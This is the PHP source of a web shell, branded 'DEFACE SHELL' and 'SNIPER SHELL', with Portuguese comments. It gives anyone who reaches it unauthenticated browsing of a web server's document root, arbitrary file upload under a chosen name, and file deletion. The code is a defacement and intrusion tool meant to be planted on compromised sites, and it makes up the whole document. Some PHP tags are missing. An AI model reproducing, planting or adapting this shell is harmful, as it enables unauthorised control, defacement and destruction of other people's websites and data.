// Defina a raiz real do seu servidor, ex:
$baseDir = realpath('/var/www/html'); // <-- altere para o diretório raiz que você quer navegar

// Pega o parâmetro 'dir' da URL, e resolve o caminho absoluto
// Se não existir, navega na raiz $baseDir
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $baseDir;

// Segurança: garante que $dir esteja dentro do $baseDir para evitar fuga de pasta
if ($dir === false || strpos($dir, $baseDir) !== 0) {
$dir = $baseDir;
}

$mensagem = "";

// Upload de arquivo
if (isset($_FILES['file'])) {
$nome = $_POST['filename'] ?: $_FILES['file']['name'];
$destino = $dir . DIRECTORY_SEPARATOR . basename($nome);
if (move_uploaded_file($_FILES['file']['tmp_name'], $destino)) {
$mensagem = "Arquivo '$nome' enviado com sucesso!";
} else {
$mensagem = "Falha ao enviar o arquivo.";
}
}

// Deletar arquivo
if (isset($_GET['del'])) {
$arquivo = basename($_GET['del']);
$arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo;
if (file_exists($arquivoPath)) {
unlink($arquivoPath);
$mensagem = "Arquivo '$arquivo' deletado!";
} else {
$mensagem = "Arquivo não encontrado.";
}
}

// Lista arquivos e pastas, ignorando '.' e '..'
$arquivos = array_diff(scandir($dir), ['.', '..']);

// Diretório pai (real)
$parentDir = dirname($dir);
if (strpos($parentDir, $baseDir) !== 0) {
$parentDir = $baseDir; // volta pra raiz se sair da base
}

// Mostra caminho atual em formato legível, relativo ao baseDir
$currentRelativeDir = trim(str_replace($baseDir, '', $dir), DIRECTORY_SEPARATOR);

function mostrarCaminho($baseDir, $dir) {
$relativo = trim(str_replace($baseDir, '', $dir), DIRECTORY_SEPARATOR);
return '/' . $relativo;
}


<!DOCTYPE html>
<html lang="pt-BR">

<meta charset="UTF-8" />
DEFACE SHELL <title>DEFACE SHELL</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');
body {
background-color: #000;
color: white;
font-family: 'Press Start 2P', monospace;
font-size: 14px;
padding: 30px;
border: 4px solid purple;
margin: 20px;
}
h1 { color: white; font-size: 18px; margin-bottom: 10px; }
.current-path {
margin-bottom: 20px;
color: #aaa;
font-size: 12px;
}
.file { margin-bottom: 10px; }
.file a { color: cyan; text-decoration: none; margin-right: 10px; }
.delete { color: red; }
.upload-box {
margin-top: 40px;
border-top: 2px dashed purple;
padding-top: 20px;
}
input, button {
font-family: 'Press Start 2P', monospace;
font-size: 12px;
margin: 5px 0;
background-color: #222;
color: white;
border: 2px solid purple;
padding: 5px;
}
.mensagem { color: yellow; margin-bottom: 20px; }
a.link-button {
background: none;
border: none;
color: cyan;
cursor: pointer;
font-family: 'Press Start 2P', monospace;
font-size: 14px;
padding: 0;
text-decoration: none;
}
</style>



SNIPER SHELL - #XYZ #MUSLIM



if ($mensagem):
<div class="mensagem">= htmlspecialchars($mensagem) </div>
endif;

<div class="current-path">
ARQUIVOS DA PASTA: <strong>= htmlspecialchars(mostrarCaminho($baseDir, $dir)) </strong>
</div>

<div class="file">
<a href="?dir== urlencode($parentDir) " class="link-button">.. (VOLTAR)</a>
</div>

foreach ($arquivos as $arquivo):

$arquivoPath = $dir . DIRECTORY_SEPARATOR . $arquivo;
if (is_dir($arquivoPath)) {
$link = '?dir=' . urlencode($arquivoPath);
} else {
$link = htmlspecialchars($arquivoPath);
}

<div class="file">
if (is_dir($arquivoPath)):
<a href="= $link ">= htmlspecialchars($arquivo) /</a>
else:
<a href="= $link " target="_blank">= htmlspecialchars($arquivo) </a>
endif;
-
<a class="delete" href="?del== urlencode($arquivo) &dir== urlencode($dir) ">[DELETAR]</a>
</div>
endforeach;

<div class="upload-box">

<label>Selecionar arquivo:</label>



<label>Nome do arquivo:</label>





</div>